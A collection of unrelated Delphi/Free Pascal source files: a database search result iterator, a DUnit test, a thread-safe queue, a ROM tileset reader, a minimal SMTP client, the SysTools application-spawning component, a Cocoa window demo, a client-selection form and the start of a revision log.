constructor TSearchResultSet.Create(searchOpt: TSearchOption; dbm: TAbsDBManager);
begin
Init;
FDBManager := dbm;
Search( searchOpt );
end;
constructor TSearchResultSet.Create(dbm: TAbsDBManager);
begin
Init;
FDBManager := dbm;
end;
function TSearchResultSet.CurData: TDataSet;
var
dataSource: TDataSet;
dataDest: TDataSet;
begin
//dataDest := TDataSet.Create( nil );
dataSource := TDataSet( FDataSetList.Items[ FIterPointer ] );
//dataDest.CopyFields( dataSource );
//CopyMemory( dataDest, dataSource, dataSource.InstanceSize );
//result := dataDest;
result := dataSource;
end;
function TSearchResultSet.CurName: String;
begin
result := FNames[ FIterPointer ];
end;
destructor TSearchResultSet.Destroy;
begin
FDataSetList.Free;
FNames.Free;
inherited;
end;
function TSearchResultSet.HasNext: Boolean;
begin
result := ( FDataSetList.Count > FIterPointer );
end;
procedure TSearchResultSet.Init;
begin
FDataSetList := TList.Create;
FNames := TStringList.Create;
MoveFirst;
end;
procedure TSearchResultSet.MoveFirst;
begin
FIterPointer := -1;
end;
function TSearchResultSet.MoveNext: Boolean;
begin
Inc( FIterPointer );
result := HasNext;
end;
procedure TSearchResultSet.Search(searchOpt: TSearchOption);
var
queryList: TStringList;
i: Integer;
dataset: TDataSet;
sTmp: String;
begin
queryList := searchOpt.GetQueryList( searchOpt.IsAutoDetected );
FNames := searchOpt.GetStageNameList;
for i := 0 to queryList.Count - 1 do
begin
//TextFileAppend( 'c:\sql_test\query_ivr.txt', queryList[ i ] );
// :(콜론)이 SQL 내에 포함 되면 에러 뜬다 ㅡㅡ;
dataset := FDBManager.ExecuteQuery( queryList[ i ] );
FDataSetList.Add( dataset );
end;
queryList.Free;
end;
end.
|
unit TestStep;
interface
uses
TestFramework, StepIntf, ValidationRuleIntf, Step, TestBaseClasses;
type
TestTStep = class(TParseContext)
strict private
FStep: IStep;
public
procedure SetUp; override;
procedure TearDown; override;
published
procedure DeveriaRetornarONomeDoMetodoCorrespondente;
procedure ShouldIdentifyMethodWithParams;
procedure ShouldCaptureParams;
end;
implementation
procedure TestTStep.DeveriaRetornarONomeDoMetodoCorrespondente;
begin
FStep.Descricao := 'Dado que meu step é válido.';
Specify.That(FStep.MetodoDeTeste).Should.Equal('DadoQueMeuStepEValido');
end;
procedure TestTStep.SetUp;
begin
FStep := TStep.Create;
end;
procedure TestTStep.ShouldIdentifyMethodWithParams;
begin
FStep.Descricao := 'Given I have a parameter "test" in my step and 1';
Specify.That(FStep.MetodoDeTeste).Should.Equal('GivenIHaveAParameterTestInMyStepAnd1')
end;
procedure TestTStep.ShouldCaptureParams;
begin
FStep.Descricao := 'Given I have a parameter "test" in my step and 1';
FStep.ParamsRegex := 'Given I have a parameter "([^"]*)" in my step and (\d+)';
Specify.That(FStep.Params['1']).Should.Not_.Be.Nil_;
Specify.That(FStep.Params['test']).Should.Not_.Be.Nil_;
end;
procedure TestTStep.TearDown;
begin
FStep := nil;
end;
initialization
// Register any test cases with the test runner
RegisterTest(TestTStep.Suite);
end.
|
{***********************************************************************************************************************
*
* TERRA Game Engine
* ==========================================
*
* Copyright (C) 2003, 2014 by SÚrgio Flores (relfos@gmail.com)
*
***********************************************************************************************************************
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on
* an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
* specific language governing permissions and limitations under the License.
*
**********************************************************************************************************************
* TERRA_Queue
* Implements a generic thread safe queue
***********************************************************************************************************************
}
Unit TERRA_Queue;
{$I terra.inc}
Interface
Uses TERRA_String, TERRA_Utils, TERRA_Collections;
Type
Queue = Class(Collection)
Protected
_First:CollectionObject;
Public
Constructor Create();
Function GetIterator:Iterator; Override;
Procedure Clear(); Override;
Function Push(Item:CollectionObject):Boolean; Virtual;
Function Pop():CollectionObject; Virtual;
Function GetItemByIndex(Index:Integer):CollectionObject; Override;
Function Search(Visitor:CollectionVisitor; UserData:Pointer = Nil):CollectionObject; Override;
Procedure Visit(Visitor:CollectionVisitor; UserData:Pointer = Nil); Override;
Function ContainsReference(Item:CollectionObject):Boolean; Override;
Function ContainsDuplicate(Item:CollectionObject):Boolean; Override;
Property First:CollectionObject Read _First;
End;
Implementation
Uses TERRA_Log;
{ Queue }
Function Queue.Search(Visitor: CollectionVisitor; UserData:Pointer = Nil): CollectionObject;
Var
P:CollectionObject;
Begin
Result := Nil;
P := _First;
While (Assigned(P)) Do
Begin
If (Visitor(P, UserData)) Then
Begin
Result := P;
Exit;
End;
P := P.Next;
End;
End;
Procedure Queue.Visit(Visitor: CollectionVisitor; UserData:Pointer = Nil);
Var
P:CollectionObject;
Begin
P := _First;
While (Assigned(P)) Do
Begin
Visitor(P, UserData);
P := P.Next;
End;
End;
Function Queue.Push(Item: CollectionObject): Boolean;
Var
P:CollectionObject;
Begin
Result := False;
If (Item = Nil) Or ((Options And coCheckReferencesOnAdd<>0) And (Self.ContainsReference(Item))) Then
Begin
Log(logWarning, Self.ClassName, 'Reference already inside collection: '+Item.ToString());
Exit;
End;
If ((Options And coNoDuplicates<>0) And (Self.ContainsDuplicate(Item))) Then
Begin
Log(logWarning, Self.ClassName, 'Item duplicated in collection: '+Item.ToString());
Exit;
End;
If (Item.Collection<>Nil) Then
Begin
Log(logWarning, Self.ClassName, 'Item already belongs to a collection: '+Item.ToString());
Exit;
End;
Item.Link(Self);
Inc(_ItemCount);
Result := True;
If (Not Assigned(_First)) Then
Begin
_First := Item;
_First.Next := Nil;
Exit;
End;
P := _First;
Repeat
If (Not Assigned(P.Next)) Then
Begin
P.Next := Item;
P := P.Next;
P.Next := Nil;
Exit;
End;
P := P.Next;
Until (Not Assigned(P));
End;
Procedure Queue.Clear();
Var
Temp:CollectionObject;
Begin
While (Assigned(_First)) Do
Begin
Temp := Self.Pop();
ReleaseObject(Temp);
End;
End;
Function Queue.ContainsReference(Item: CollectionObject): Boolean;
Var
P:CollectionObject;
Begin
Result := True;
P := _First;
While (Assigned(P)) Do
Begin
If (Item = P) Then
Exit;
P := P.Next;
End;
Result := False;
End;
Function Queue.ContainsDuplicate(Item: CollectionObject): Boolean;
Var
P:CollectionObject;
Begin
Result := True;
P := _First;
While (Assigned(P)) Do
Begin
If (Item.Sort(P) = 0) Then
Exit;
P := P.Next;
End;
Result := False;
End;
Constructor Queue.Create;
Begin
_SortOrder := collection_Unsorted;
_Options := 0;
_First := Nil;
End;
Function Queue.GetIterator: Iterator;
Begin
Result := Nil;
End;
Function Queue.GetItemByIndex(Index:Integer):CollectionObject;
Var
I:Integer;
Begin
If (Index<0) Or (Index>=Self.Count) Then
Begin
Result := Nil;
Exit;
End;
Result := _First;
If (Index = 0) Then
Exit;
I := 0;
While (Result<>Nil) Do
Begin
Result := Result.Next;
Inc(I);
If (I = Index) Then
Exit;
End;
Result := Nil;
End;
Function Queue.Pop:CollectionObject;
Var
P:CollectionObject;
Begin
If (_First = Nil) Then
Begin
Result := Nil;
Exit;
End;
P := _First;
_First := _First.Next;
Dec(_ItemCount);
Result := P;
End;
End. |
unit Tileset;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, Graphics, Map;
type
TTilesetHeader = packed record
BankNumber: Byte;
TilesetArrangementPointer: Word;
TilesetGraphicsPointer: Word;
UnknownData: array [0..6] of Byte;
end;
var
Palette: array [0..3] of TColor = ($F8E8F8, $58E0A8, $F8D0A0, $101018);
RawMapPalettes: array [0..12, 0..3] of Word;
const Zero: Byte = 0;
function GetTilesetHeader(TilesetNumber: Byte): TTilesetHeader;
function WordToColor(Value: Word): TColor;
procedure ReadTilesetGraphics(TilesetHeader: TTilesetHeader; Bmp: TBitmap);
procedure ReadMapPalettes;
implementation
uses MapEditor;
function GetTilesetHeader(TilesetNumber: Byte): TTilesetHeader;
begin
Rom.Position := $C7BE + ((TilesetNumber) * SizeOf(TTilesetHeader));
Rom.Read(Result, SizeOf(TTilesetHeader));
end;
function WordToColor(Value: Word): TColor;
var
R,G,B: Byte;
begin
R := Round((((Value shr 00) and 31) / 31) * 255);
G := Round((((Value shr 05) and 31) / 31) * 255);
B := Round((((Value shr 10) and 31) / 31) * 255);
Result := R or (G shl 8) or (B shl 16);
end;
//reads tile from Stream into Bmp and uses colors from Pal
procedure ReadTile(Stream: TStream; Bmp: TBitmap);
var
X,Y: Integer;
Data1,Data2: Byte;
begin
for Y := 0 to 7 do
begin
Stream.Read(Data1,1);
Stream.Read(Data2,1);
for X := 0 to 7 do
Bmp.Canvas.Pixels[X,Y] := Palette[((Data1 shr (7-X)) and 1) or (((Data2 shr (7-X)) and 1) shl 1)];
end;
end;
//reads tileset at specific address into Bmp
procedure ReadTilesetGraphics(TilesetHeader: TTilesetHeader; Bmp: TBitmap);
var
Tile: TBitmap;
TileCnt: Byte;
I: Integer;
begin
Tile := TBitmap.Create;
Tile.PixelFormat := pf24bit;
Tile.Width := 8;
Tile.Height := 8;
Rom.Position := GBPtrToFilePos(TilesetHeader.BankNumber, TilesetHeader.TilesetGraphicsPointer);
TileCnt := 0;
for I := 1 to 16 * 6 do
begin
ReadTile(Rom,Tile);
Bmp.Canvas.Draw((TileCnt mod 16) * 8, (TileCnt div 16) * 8, Tile);
Inc(TileCnt);
end;
end;
procedure ReadMapPalettes;
begin
Rom.Position := $72660;
Rom.Read(RawMapPalettes, 8*12);
end;
end.
|
unit smtp;
interface
uses
Windows, Winsock;
type
TSimpleSMTP =
class
public
constructor Create(addr : string; port : integer = 25);
destructor Destroy; override;
private
fAddr : string;
fPort : integer;
fSocket : TSocket;
public
function Send(frm, rcpt, rcpt_cc, subject, msg : string) : integer;
private
function Connect : boolean;
function SendCmd(text : string; wait : boolean = true) : integer;
end;
implementation
uses
SysUtils, CompStringsParser;
// TSimpleSMTP
constructor TSimpleSMTP.Create(addr : string; port : integer);
begin
inherited Create;
fAddr := addr;
fPort := port;
end;
destructor TSimpleSMTP.Destroy;
begin
if fSocket <> 0
then
begin
Winsock.shutdown(fSocket, 0);
Winsock.closesocket(fSocket);
fSocket := 0;
end;
end;
function TSimpleSMTP.Send(frm, rcpt, rcpt_cc, subject, msg : string) : integer;
var
sock_addr : sockaddr_in;
len : integer;
local_ip : string;
cmd : string;
aux : string;
p : integer;
begin
if fSocket = 0
then Connect;
if fSocket <> 0
then
begin
len := sizeof(sock_addr);
Winsock.getsockname(fSocket, sock_addr, len);
local_ip := StrPas(inet_ntoa(sock_addr.sin_addr));
cmd := 'HELO [' + local_ip + ']' + ^M^J;
result := SendCmd(cmd, true);
if result <> 220
then exit;
cmd := 'MAIL FROM:' + '<' + frm + '>' + ^M^J;
result := SendCmd(cmd);
if result <> 250
then exit;
p := 1;
aux := CompStringsParser.GetNextString(rcpt, p, [';', ',']);
while aux <> '' do
begin
cmd := 'RCPT TO:' + '<' + aux + '>' + ^M^J;
result := SendCmd(cmd);
if result <> 250
then exit;
aux := CompStringsParser.GetNextString(rcpt, p, [';', ',']);
end;
cmd := 'DATA' + ^M^J;
SendCmd(cmd);
cmd := 'Subject: ' + subject + ^M^J + 'From: ' + frm + ^M^J + 'To: ' + rcpt + ^M^J^M^J;
SendCmd(cmd, false);
SendCmd(msg, false);
cmd := ^M^J + '.' + ^M^J;
result := SendCmd(cmd);
if result <> 250
then exit;
cmd := 'QUIT' + ^M^J;
result := SendCmd(cmd);
end
else result := -1;
end;
function TSimpleSMTP.Connect : boolean;
var
SockAddrIn : TSockAddrIn;
ipAddr : in_addr;
error : dword;
hostEnt : PHostEnt;
begin
if inet_addr(PChar(fAddr)) = u_long(INADDR_NONE)
then
begin
hostEnt := Winsock.gethostbyname(PChar(fAddr));
if hostEnt <> nil
then
with ipAddr, hostEnt^ do
begin
S_un_b.s_b1 := h_addr^[0];
S_un_b.s_b2 := h_addr^[1];
S_un_b.s_b3 := h_addr^[2];
S_un_b.s_b4 := h_addr^[3];
end
else ipAddr.S_addr := u_long(INADDR_NONE);
end
else ipAddr.S_addr := inet_addr(pchar(fAddr));
if ipAddr.S_addr <> u_long(INADDR_NONE)
then
begin
SockAddrIn.sin_family := PF_INET;
SockAddrIn.sin_port := htons(fPort);
SockAddrIn.sin_addr := ipAddr;
fSocket := Winsock.socket(PF_INET, SOCK_STREAM, IPPROTO_IP);
if fSocket <> INVALID_SOCKET
then error := WinSock.connect(fSocket, SockAddrIn, sizeof(SockAddrIn))
else error := 0;
if error <> 0
then
begin
Winsock.closesocket(fSocket);
fSocket := 0;
end;
result := true;
end
else result := false;
end;
function TSimpleSMTP.SendCmd(text : string; wait : boolean) : integer;
var
buffer : array[0..1023] of char;
res : string;
begin
FillChar(buffer, sizeof(buffer), 0);
WinSock.send(fSocket, text[1], length(text), 0);
if wait
then
begin
WinSock.recv(fSocket, buffer[0], 1024, 0);
res := copy(buffer, 0, 3);
try
result := StrToInt(res);
except
result := -1;
end;
end
else result := 0;
end;
end.
|
// Upgraded to Delphi 2009: Sebastian Zierer
(* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1
*
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
*
* The Original Code is TurboPower SysTools
*
* The Initial Developer of the Original Code is
* TurboPower Software
*
* Portions created by the Initial Developer are Copyright (C) 1996-2002
* the Initial Developer. All Rights Reserved.
*
* Contributor(s):
*
* ***** END LICENSE BLOCK ***** *)
{*********************************************************}
{* SysTools: StSpawn.pas 4.04 *}
{*********************************************************}
{* SysTools: Component to spawn another application *}
{*********************************************************}
{$I StDefine.inc}
{$TYPEDADDRESS ON}
unit StSpawn;
interface
uses
SysUtils, Windows, ExtCtrls, Messages, Classes, ShellAPI,
StBase, StConst;
type
TStWaitThread = class(TThread)
protected
FTimeOut : Integer;
procedure Execute; override;
public
CancelWaitEvent : THandle;
WaitResult : DWORD;
WaitFors : PWOHandleArray; {!!.01}
constructor Create(aInst, CancelIt : THandle; ATimeOut : Integer);
destructor Destroy; override; {!!.01}
end;
TStSpawnCommand = (scOpen, scPrint, scOther);
TStShowState = (ssMinimized, ssMaximized, ssNormal, ssMinNotActive);
TStSpawnErrorEvent = procedure (Sender : TObject; Error : Word) of object;
TStSpawnCompletedEvent = procedure (Sender : TObject) of object;
TStSpawnTimeOutEvent = procedure (Sender : TObject) of object;
TStSpawnApplication = class(TStComponent)
protected {private}
{ Private declarations }
FAllowChange : Boolean;
FCancelEvent : THandle;
FDefaultDir : String;
FFileName : String;
FInstance : THandle;
FNotifyWhenDone : Boolean;
FOnCompleted : TStSpawnCompletedEvent;
FOnSpawnError : TStSpawnErrorEvent;
FOnSpawnTimeOut : TStSpawnTimeOutEvent;
FRunParameters : String;
FShowState : TStShowState;
FSpawnCommand : TStSpawnCommand;
FTimer : TTimer;
FTimeOut : Integer;
FWaitResult : DWORD;
FWaitThread : TStWaitThread;
FSpawnCommandStr : String;
protected
{ Protected declarations }
CountDownValue : Integer;
procedure DoOnThreadEnd(Sender : TObject);
procedure SetDefaultDir(const Value : String); {!!.02}
procedure SetFileName(const Value : String); {!!.02}
procedure SetOnCompleted(Value : TStSpawnCompletedEvent);
procedure SetOnSpawnError(Value : TStSpawnErrorEvent);
procedure SetNotifyWhenDone(Value : Boolean);
procedure SetRunParameters(const Value : String); {!!.02}
procedure SetShowState(Value : TStShowState);
procedure SetSpawnCommand(Value : TStSpawnCommand);
procedure SetSpawnTimeOut(Value : TStSpawnTimeOutEvent);
procedure SetTimeOut(Value : Integer);
public
{ Public declarations }
constructor Create(AOwner : TComponent); override;
destructor Destroy; override;
procedure CancelWait;
function Execute : THandle;
published
{ Published declarations }
property DefaultDir : String
read FDefaultDir write SetDefaultDir;
property FileName : String
read FFileName write SetFileName;
property NotifyWhenDone : Boolean
read FNotifyWhenDone write SetNotifyWhenDone default True;
property OnCompleted : TStSpawnCompletedEvent
read FOnCompleted write SetOnCompleted;
property OnSpawnError : TStSpawnErrorEvent
read FOnSpawnError write SetOnSpawnError;
property OnTimeOut : TStSpawnTimeOutEvent
read FOnSpawnTimeOut write SetSpawnTimeOut;
property RunParameters : String
read FRunParameters write SetRunParameters;
property ShowState : TStShowState
read FShowState write SetShowState default ssNormal;
property SpawnCommand : TStSpawnCommand
read FSpawnCommand write SetSpawnCommand default scOpen;
property TimeOut : Integer
read FTimeOut write SetTimeOut default 0;
property SpawnCommandStr : String
read FSpawnCommandStr write FSpawnCommandStr;
end;
implementation
{$IFDEF FPC}
uses Delphi.Windows ;
{$ENDIF}
{-----------------------------------------------------------------------------}
{ WIN32 WAIT THREAD }
{-----------------------------------------------------------------------------}
const {!!.01}
WAIT_HANDLE_COUNT = 2; {!!.01}
constructor TStWaitThread.Create(aInst, CancelIt : THandle; ATimeOut : Integer);
begin
GetMem(WaitFors, WAIT_HANDLE_COUNT * SizeOf(THandle)); {!!.01}
WaitFors^[0] := aInst; {!!.01}
WaitFors^[1] := CancelIt; {!!.01}
FTimeOut := ATimeOut * 1000;
CancelWaitEvent := CancelIt;
inherited Create(True);
end;
{!!.01 - Added}
destructor TStWaitThread.Destroy;
begin
FreeMem(WaitFors, WAIT_HANDLE_COUNT * SizeOf(THandle));
inherited Destroy;
end;
{!!.01 - End Added}
procedure TStWaitThread.Execute;
begin
if (FTimeOut > 0) then
WaitResult := WaitForMultipleObjects(WAIT_HANDLE_COUNT, WaitFors, {!!.01}
False, FTimeOut) {!!.01}
else
WaitResult := WaitForMultipleObjects(WAIT_HANDLE_COUNT, WaitFors, {!!.01}
False, INFINITE); {!!.01}
end;
{-----------------------------------------------------------------------------}
{ TStSpawnApplication }
{-----------------------------------------------------------------------------}
constructor TStSpawnApplication.Create(AOwner : TComponent);
begin
inherited Create(AOwner);
FAllowChange := True;
FDefaultDir := '';
FFileName := '';
FNotifyWhenDone := True;
FShowState := ssNormal;
FSpawnCommand := scOpen;
FSpawnCommandStr := '';
FTimer := nil;
FTimeOut := 0;
end;
destructor TStSpawnApplication.Destroy;
begin
FTimer.Free;
FTimer := nil;
inherited Destroy;
end;
procedure TStSpawnApplication.CancelWait;
begin
if (FCancelEvent <> 0) then
SetEvent(FWaitThread.CancelWaitEvent);
end;
procedure TStSpawnApplication.DoOnThreadEnd(Sender : TObject);
begin
FWaitResult := FWaitThread.WaitResult;
case FWaitResult of
WAIT_FAILED :
begin
if (Assigned(FOnSpawnError)) then
FOnSpawnError(Self, GetLastError);
end;
WAIT_TIMEOUT :
begin
if Assigned(FOnSpawnTimeOut) then
FOnSpawnTimeOut(Self);
end;
WAIT_OBJECT_0,
WAIT_OBJECT_0 + 1 :
begin
if (FNotifyWhenDone) and (Assigned(FOnCompleted)) then
FOnCompleted(Self);
end;
end;
if (FCancelEvent <> 0) then begin
SetEvent(FCancelEvent);
CloseHandle(FCancelEvent);
FCancelEvent := 0;
end;
end;
function TStSpawnApplication.Execute : THandle;
var
Cmd : String;
HowShow : integer;
Res : Bool;
Startup : TShellExecuteInfo;
begin
if (FileName = '') and (RunParameters > '') then
RaiseStError(EStSpawnError, stscInsufficientData);
case FSpawnCommand of
scOpen : Cmd := 'open';
scPrint: Cmd := 'print';
scOther: Cmd := FSpawnCommandStr;
end;
case FShowState of
ssNormal : HowShow := SW_NORMAL;
ssMinimized : HowShow := SW_MINIMIZE;
ssMaximized : HowShow := SW_SHOWMAXIMIZED;
ssMinNotActive : HowShow := SW_SHOWMINNOACTIVE;
else
HowShow := SW_NORMAL;
end;
FInstance := 0;
with Startup do begin
cbSize := SizeOf(Startup);
fMask := SEE_MASK_NOCLOSEPROCESS or SEE_MASK_FLAG_NO_UI;
Wnd := 0;
lpVerb := Pointer(Cmd);
if (FFileName > '') then
lpFile := PChar(FFileName)
else
lpFile := nil;
if (FRunParameters > '') then
lpParameters := PChar(FRunParameters)
else
lpParameters := nil;
if (FDefaultDir > '') then
lpDirectory := PChar(FDefaultDir)
else
lpDirectory := nil;
nShow := HowShow;
hInstApp := 0;
end;
Res := ShellExecuteEx(@Startup);
FInstance := Startup.hProcess;
if (not Res) then begin
Result := 0;
if (Assigned(FOnSpawnError)) then begin
FOnSpawnError(Self, GetLastError);
end;
end else
Result := FInstance;
if (NotifyWhenDone) then begin
FTimer := nil;
FCancelEvent := CreateEvent(nil, False, False, PChar(FloatToStr(Now)));
FWaitThread := TStWaitThread.Create(FInstance, FCancelEvent, FTimeOut);
FWaitThread.OnTerminate := DoOnThreadEnd;
FWaitThread.FreeOnTerminate := True;
FWaitThread.Start;
end;
end;
procedure TStSpawnApplication.SetDefaultDir(const Value : String); {!!.02}
begin
if (FAllowChange) or (csDesigning in ComponentState) then begin
if (Value <> FDefaultDir) then
FDefaultDir := Value;
end;
end;
procedure TStSpawnApplication.SetFileName(const Value : String); {!!.02}
begin
if (FAllowChange) or (csDesigning in ComponentState) then begin
if (Value <> FileName) then
FFileName := Value;
end;
end;
procedure TStSpawnApplication.SetNotifyWhenDone(Value : Boolean);
begin
if (FAllowChange) or (csDesigning in ComponentState) then begin
if (Value <> FNotifyWhenDone) then
FNotifyWhenDone := Value;
end;
end;
procedure TStSpawnApplication.SetRunParameters(const Value : String); {!!.02}
begin
if (FAllowChange) or (csDesigning in ComponentState) then begin
if (Value <> FRunParameters) then
FRunParameters := Value;
end;
end;
procedure TStSpawnApplication.SetOnCompleted(Value : TStSpawnCompletedEvent);
begin
if (FAllowChange) or (csDesigning in ComponentState) then
FOnCompleted := Value;
end;
procedure TStSpawnApplication.SetOnSpawnError(Value : TStSpawnErrorEvent);
begin
if (FAllowChange) or (csDesigning in ComponentState) then
FOnSpawnError := Value;
end;
procedure TStSpawnApplication.SetShowState(Value : TStShowState);
begin
if (FAllowChange) or (csDesigning in ComponentState) then begin
if (Value <> FShowState) then
FShowState := Value;
end;
end;
procedure TStSpawnApplication.SetSpawnCommand(Value : TStSpawnCommand);
begin
if (FAllowChange) or (csDesigning in ComponentState) then begin
if (Value <> FSpawnCommand) then
FSpawnCommand := Value;
end;
end;
procedure TStSpawnApplication.SetSpawnTimeOut(Value : TStSpawnTimeOutEvent);
begin
if (FAllowChange) or (csDesigning in ComponentState) then
FOnSpawnTimeOut := Value;
end;
procedure TStSpawnApplication.SetTimeOut(Value : Integer);
begin
if (FAllowChange) or (csDesigning in ComponentState) then begin
if (Value <> FTimeOut) and (Value >= 0) then
FTimeOut := Value;
end;
end;
end.
|
{
simpleform.pas
This example shows how to use the PasCocoa bindings to create a
NSAutoreleasePool, initialize the application global variable, create
a simple window without contents and attach a close handler to it that
exits the application.
Compilation of this example requires the following options:
-k-framework -kcocoa -k-lobjc
This example project is released under public domain
AUTHORS: Felipe Monteiro de Carvalho
}
program simplewindow;
{$ifdef fpc}{$mode delphi}{$endif}
uses
{$ifdef ver2_2_0}
FPCMacOSAll,
{$else}
MacOSAll,
{$endif}
objc, ctypes, AppKit, Foundation, cocoa_pkg;
const
Str_Window_Title = 'Pascal Cocoa Example';
Str_Window_Message = 'NSTextField Control';
var
{ classes }
pool: NSAutoreleasePool;
MainWindow: NSWindow;
MainWindowView: NSView;
TextField: NSTextField;
{ strings }
CFTitle, CFMessage: CFStringRef;
{ sizes }
MainWindowRect, TextFieldRect: NSRect;
begin
{ Creates a AutoreleasePool for this thread. Every thread must have one }
pool := NSAutoreleasePool.Create;
{ Creates the application NSApp object }
NSApp := NSApplication.sharedApplication;
{ Creates a simple window }
MainWindowRect.origin.x := 300.0;
MainWindowRect.origin.y := 300.0;
MainWindowRect.size.width := 300.0;
MainWindowRect.size.height := 100.0;
MainWindow := NSWindow.initWithContentRect_styleMask_backing_defer(MainWindowRect,
NSTitledWindowMask or NSClosableWindowMask or NSMiniaturizableWindowMask or NSResizableWindowMask,
NSBackingStoreBuffered, LongBool(NO));
{ Initializes the title of the window }
CFTitle := CFStringCreateWithPascalString(nil, Str_Window_Title, kCFStringEncodingUTF8);
MainWindow.setTitle(CFTitle);
{ Adds a NSTextField with a string }
CFMessage := CFStringCreateWithPascalString(nil, Str_Window_Message, kCFStringEncodingUTF8);
TextFieldRect.origin.x := 50.0;
TextFieldRect.origin.y := 50.0;
TextFieldRect.size.width := 200.0;
TextFieldRect.size.height := 25.0;
TextField := NSTextField.initWithFrame(TextFieldRect);
TextField.setBordered(LongBool(NO));
TextField.setDrawsBackground(LongBool(NO));
TextField.setStringValue(CFMessage);
MainWindowView := NSView.CreateWithHandle(MainWindow.contentView);
MainWindowView.addSubview(TextField.Handle);
{ Put's the window on the front z-order }
MainWindow.orderFrontRegardless;
{ Enters main message loop }
NSApp.run;
{ Releases the AutoreleasePool for this thread }
pool.Free;
end.
|
unit SelCli;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IniFiles, StdCtrls, dxGDIPlusClasses, ExtCtrls;
type
TFSelCli = class(TForm)
btnAceptar: TButton;
btnAnular: TButton;
lstClientes: TListBox;
Label1: TLabel;
Image1: TImage;
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure btnAceptarClick(Sender: TObject);
procedure lstClientesClick(Sender: TObject);
procedure btnAnularClick(Sender: TObject);
private
{ Private declarations }
FIni: TIniFile;
FLista: TStringList;
public
{ Public declarations }
BaseDatos: string;
Clave: string;
end;
var
FSelCli: TFSelCli;
implementation
uses StrUtils;
{$R *.dfm}
procedure TFSelCli.FormCreate(Sender: TObject);
begin
FLista := TStringlist.Create;
FIni := TIniFile.create( ExtractFilePath( Application.exeName ) + 'Conf\clientes.ini' );
FIni.ReadSection( 'CLIENTES', lstClientes.Items );
FIni.ReadSectionValues( 'CLIENTES', FLista );
if lstClientes.count > 0 then
begin
lstClientes.itemindex := 0;
btnAceptar.enabled := true;
end;
end;
procedure TFSelCli.FormClose(Sender: TObject; var Action: TCloseAction);
begin
FLista.free;
end;
procedure TFSelCli.btnAceptarClick(Sender: TObject);
begin
BaseDatos := FLista.Values[ lstClientes.items[ lstClientes.itemindex ]] + ';';
BaseDatos := AnsiReplaceStr( BaseDatos, '{app}', ExtractFilePath( application.ExeName ));
Clave := lstClientes.items[ lstClientes.itemindex ];
end;
procedure TFSelCli.lstClientesClick(Sender: TObject);
begin
btnAceptar.Enabled := lstClientes.ItemIndex > -1;
end;
procedure TFSelCli.btnAnularClick(Sender: TObject);
begin
BaseDatos := '';
end;
end.
|
unit vcmBaseEntitiesCollectionItem;
{* Элемент коллекции сущностей. }
{ Библиотека "vcm" }
{ Автор: Люлин А.В. © }
{ Модуль: vcmBaseEntitiesCollectionItem - }
{ Начат: 19.11.2003 10:37 }
{ $Id: vcmBaseEntitiesCollectionItem.pas,v 1.53 2013/07/01 12:28:52 morozov Exp $ }
// $Log: vcmBaseEntitiesCollectionItem.pas,v $
// Revision 1.53 2013/07/01 12:28:52 morozov
// {RequestLink:382416588}
//
// Revision 1.52 2013/04/25 14:22:38 lulin
// - портируем.
//
// Revision 1.51 2012/04/13 19:00:43 lulin
// {RequestLink:237994598}
//
// Revision 1.50 2012/04/13 18:22:34 lulin
// {RequestLink:237994598}
//
// Revision 1.49 2011/12/08 16:30:03 lulin
// {RequestLink:273590436}
// - чистка кода.
//
// Revision 1.48 2011/07/29 15:08:37 lulin
// {RequestLink:209585097}.
//
// Revision 1.47 2011/01/24 16:11:50 lulin
// {RequestLink:236719144}.
//
// Revision 1.46 2009/11/12 18:07:34 lulin
// - убираем ненужные возвращаемые значения.
//
// Revision 1.45 2009/10/12 11:27:15 lulin
// - коммитим после падения CVS.
//
// Revision 1.45 2009/10/08 12:46:44 lulin
// - чистка кода.
//
// Revision 1.44 2009/09/17 09:47:24 lulin
// - операции модуля публикуем в run-time, а не в формах.
//
// Revision 1.43 2009/08/28 17:15:47 lulin
// - начинаем публикацию и описание внутренних операций.
//
// Revision 1.42 2009/02/20 15:19:00 lulin
// - <K>: 136941122.
//
// Revision 1.41 2009/02/20 13:44:19 lulin
// - <K>: 136941122.
//
// Revision 1.40 2009/02/12 17:09:15 lulin
// - <K>: 135604584. Выделен модуль с внутренними константами.
//
// Revision 1.39 2009/02/11 15:19:45 lulin
// - чистка кода.
//
// Revision 1.38 2009/02/04 15:33:55 lulin
// - исправляем ошибку ненахождения методов. http://mdp.garant.ru/pages/viewpage.action?pageId=136260278&focusedCommentId=136260289#comment-136260289
//
// Revision 1.37 2007/08/08 08:17:22 lulin
// - по-другому подкладываем отбаботчики от формы - чтобы не было коллизий с обработчиками ит контролов.
//
// Revision 1.36 2007/06/26 09:42:36 mmorozov
// - hint fix;
//
// Revision 1.35 2007/01/26 15:34:42 lulin
// - выделяем сущности с ТОЛЬКО внутренними операциями.
//
// Revision 1.34 2007/01/26 15:09:03 lulin
// - cleanup.
//
// Revision 1.33 2006/03/24 09:44:54 lulin
// - cleanup: не пишем пустые коллекции.
//
// Revision 1.32 2006/03/15 14:37:32 lulin
// - bug fix: писались не все сущности.
//
// Revision 1.31 2006/03/14 10:10:29 lulin
// - bug fix: не очищались провисшие ссылки - в результате была вероятность AV.
//
// Revision 1.30 2006/03/13 11:59:19 lulin
// - очищаем закешированные значения - чтобы взять актуальные названия элементов.
//
// Revision 1.29 2006/01/24 11:56:13 mmorozov
// - bugfix: в cleanup не чистились Options в результате забирали из кеша со старым значением;
//
// Revision 1.28 2006/01/20 11:33:06 mmorozov
// 1. Нельзя было на панель инструментов положить неколько операций из разных сущностей с одинаковыми именами;
